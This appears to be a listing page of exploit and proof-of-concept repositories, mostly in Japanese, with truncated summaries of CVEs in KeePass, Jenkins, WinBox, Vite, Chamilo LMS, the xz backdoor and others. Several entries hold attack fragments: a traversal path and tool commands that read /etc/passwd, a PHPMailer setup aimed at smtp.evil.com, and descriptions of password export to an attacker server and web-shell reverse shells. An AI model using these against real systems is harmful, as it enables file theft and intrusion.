KeePass-CVE-2023-24055

KeePass-CVE-2023-24055 KeePass CVE-2023-24055 再現 KeePass CVE-2023-24055 再現 1，マシンの準備: kali（192.168.232.129）、windows10（192.168.232.128） 2, keepass バージョン: 2.53 2，原理: KeePassの設定ファイルKeePass.config.xmlを編集し、トリガー設定項目を追加する：平文パスワードをエクスポートして攻撃者のサーバーにアップロードする；トリガーのXMLコードは以下の通り：...

CVE-2023-45878

CVE-2023-45878 GibbonEdu Gibbon Exploit バージョン 25.0.1 GibbonEdu Gibbon バージョン 25.0.1 以前 GibbonEdu Gibbon バージョン 25.0.1 以前では、任意のファイル書き込みが可能です。 詳細情報 https://nvd.nist.gov/vuln/detail/CVE-2023-45878 https://herolab.usd.de/security-advisories/usd-2023-0025/ 免責事項...

cve-lfi-lab

🧠 CVE Lab: Tier 1 SOC Analyst Simulation CVE-2025-39507 | WordPress Nasa Coreプラグインにおけるローカルファイルインクルード 📝 シナリオ: SOCの一日 いつもの月曜日。私はSOCダッシュボードにログインし、いつものようにアラートを確認しています。一つ目に留まるアラートが届きました： アラート: ローカルファイルインクルージョン LFI の可能性 IPアドレス: 203.0.113.44 URL: /index.php?file=../../../../etc/passwd ユーザーエージェント:...

CVE-2023-35843

CVE-2023-35843 CVE-2023-35843 NocoDB 任意ファイル読み取り脆弱性...

CVE-2020-0796

CVE-2020-0796: SMBGhost - 分析と倫理的悪用 はじめに CVE-2020-0796（別名「SMBGhost」）は、Microsoft Windows オペレーティングシステムに影響を与える深刻なセキュリティ脆弱性です。これは「ワーム可能」なカテゴリに分類され、ネットワーク接続されたシステム間で急速に拡散する可能性があります。この脆弱性は、ファイル共有やプリンタ共有を処理する Microsoft の Server Message Block SMB...

CVE-2017-5223

CVE-2017-5223 IsSMTP; $mail-Host = "smtp.evil.com"; $mail-Port = 25; $mail-SMTPAuth = true; $mail-CharSet = "UTF-8"; $mail-Encoding = "base64"; $mail-Username = "[email protected]"; $mail-Password = "tes1234t"; $mail-Subject = "hello"; $mail-From = "[email protected]"; $mail-FromName =...

CVE-2025-30208

CVE-2025-30208 POC CVE-2025-30208 pip install -r requirements.txt 機能： -u URLを指定してスキャン -r txtファイルを指定してスキャン...

DocViewerExploitApp

DocViewerExploit App - CVE-2021-40724 これは、MobileHackingLab による Document Viewer を悪用するためのソースコードです。 脆弱なアプリについて これは、MobileHackingLab DocumentViewer Androidアプリの動的コードローディングRCEチャレンジ のエクスプロイトアプリです。 このチャレンジは、Adobe Acrobat Reader Androidアプリで特定された脆弱性 CVE-2021-40724 をエミュレートしています。...

CVE-2026-57576

The plone.app.dexterity and plone.app.contenttypes components of the Plone content management system are vulnerable to a denial of service (DoS) attack. An authenticated user can trigger this by creating content with excessively long titles , descriptions, or uploaded-file names, which causes the...

day03-jenkins-23897

3日目 — Jenkins CLI任意ファイル読み取り CVE-2024-23897 概要: Jenkins ≤ 2.441 LTS ≤ 2.426.2 は CLI 引数内の @/path を展開します。 認証されていないユーザーは、Jenkins にローカルファイルを読み取らせ、その最初の数行 を CLI ヘルプ出力経由で反映させることができます。 2.442 / 2.426.3 で修正されました。 ビルド → 実行 root@kitploit: 1 Build docker build -t day3-jenkins-23897 . 2 Run docker rm -f day3...

CVE-2024-53345

CVE-2024-53345 Car Rental Management System バージョン 1.0〜1.3 における重大な 0 Day 脆弱性 説明: Car Rental Management System（バージョン 1.0〜1.3）の System Settings モジュールのファイルアップロード機能に重大な脆弱性が存在し、低権限ユーザーが実行可能な PHP...

CVE-2022-44268-

CVE-2022-44268- HTBの練習用 使用方法 python3 poc.py generate -o test.png -r /etc/passwd そのtest.pngファイルをアップロードしてダウンロードしてください python3 poc.py parse -i out.png...

CVE-2025-63830

📂 CKFinder 1.4.3 – 悪意のあるSVGアップロードによる保存型クロスサイトスクリプティング（XSS） CVE ID: CVE-2025-63830 🧭 概要 保存型クロスサイトスクリプティング（XSS）の脆弱性が CKFinder v1.4.3 で確認されました。 この問題はファイルアップロード 機能にあり、アクティブコンテンツを含むSVGファイルを適切にサニタイズできないことに起因します。 その結果、攻撃者は、アップロードされたファイルが表示またはプレビューされるときに、被害者のブラウザのコンテキストで任意のJavaScriptコードを実行できます。 ⚙️ 詳細 発見名 ...

CVE-2025-9345

Managefy 製 File Manager、Code Editor、および Backup におけるパストラバーサルの概念実証 脆弱性タイプ: パストラバーサル（任意のファイルダウンロード） 影響を受ける関数: ajaxdownloadfile 影響: 低権限の認証済みユーザー（Subscriber 以上）は、flmfile パラメータの検証不足を悪用して、機密設定ファイルを含むサーバー上の任意のファイルをダウンロードできます。 CVSS v3.1 スコア: 6.5 中 ベクター: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N 説明 GET リクエストの...

winboxPOC

WinboxExploit これは、平文パスワードを任意のファイル読み取り可能にする深刻なWinBox脆弱性（CVE-2018-14847）の概念実証です。 必要条件 Python 3+ このスクリプトはPython 2.x以下では動作しません。 使用方法 このスクリプトはコマンドラインの単純な引数で簡単に使用できます。 WinBox TCP/IP 脆弱性を悪用してパスワードを読み取ります。 root@kitploit: python3 WinboxExploit.py PORT 例: root@kitploit: $ python3 WinboxExploit.py...

Vite-CVE-2025-30208-EXP

CVE-2025-30208 検出ツール 脆弱性分析 CVE-2025-30208 は、Vite 開発サーバーにおける任意ファイル読み取りの脆弱性です。攻撃者は特別なパス（例：@fs プレフィックス）を構築することで、サーバーの機密ファイル（例：/etc/passwd や C:\windows\win.ini）を読み取ることができます。本ツールは、単一ターゲット検出、システム情報調査、詳細な環境分析をサポートし、複雑なネットワーク環境に適応するためのプロキシ機能を提供します。 機能 単一ターゲット検出 ：コマンドライン引数で単一のターゲット URL を指定し、脆弱性を検証します。...

CVE-2023-4226

🛠️ Chamilo LMS 向け CVE-2023-4226 エクスプロイト 📋 説明 Chamilo LMS （= v1.11.24）の無制限ファイルアップロード脆弱性である CVE-2023-4226 のエクスプロイトを自動化する Python スクリプト。PentesterMonkey ベースの PHP Web シェルをアップロードし、.htaccess を構成して リバースシェル を実現します。詳細: STAR Labs のアドバイザリ 🔍 脆弱性 製品 : Chamilo LMS 深刻度 : 高 CVSS 3.1: 8.8 影響を受けるバージョン : = v1.11.24 説明...

CVE-2025-505050

CVE-2025- 説明: アップロードされたファイルへの未認証アクセス POC: アップロード済みの任意のファイルに移動すると、ログインなしでアクセスできます。 発見者: Aljohara Abdulmohsen Alsubaie...

xzutils_backdoor_obfuscation

xzutilsbackdoorobfuscation このスクリプトは、XZ utils攻撃（CVE-2024-3094）で使われた難読化技術を再現します。 これは xzutils v5.6.0 でのみテストされています。 ⚠️ このコードは教育目的のみで提供されており、悪意のある活動に使用してはなりません。自己責任でご使用ください。 ⚠️ 前提条件 元の good-largecompressed.lzma を xzutils 5.6.0 から作業フォルダに置いておく必要があります。 使用方法 以下を実行します ./obfuscatepayload.sh yourpayload...

RCE-Simplephpblog-biggiedroid

CVE-2025-15495 - 任意ファイルアップロードによるリモートコード実行（RCE） 製品 BiggiDroid – Simple PHP Blog CMS 製品ページ: https://biggidroid.com/product/simple-php-blog/ 脆弱性タイプ 任意ファイルアップロード 制限なしファイルアップロード リモートコード実行（RCE） 深刻度 致命的 CVSS（推定）: 9.8 AV:N / AC:L / PR:L / UI:N / S:U / C:H / I:H / A:H 概要 Simple PHP Blog CMS には、管理パネルの...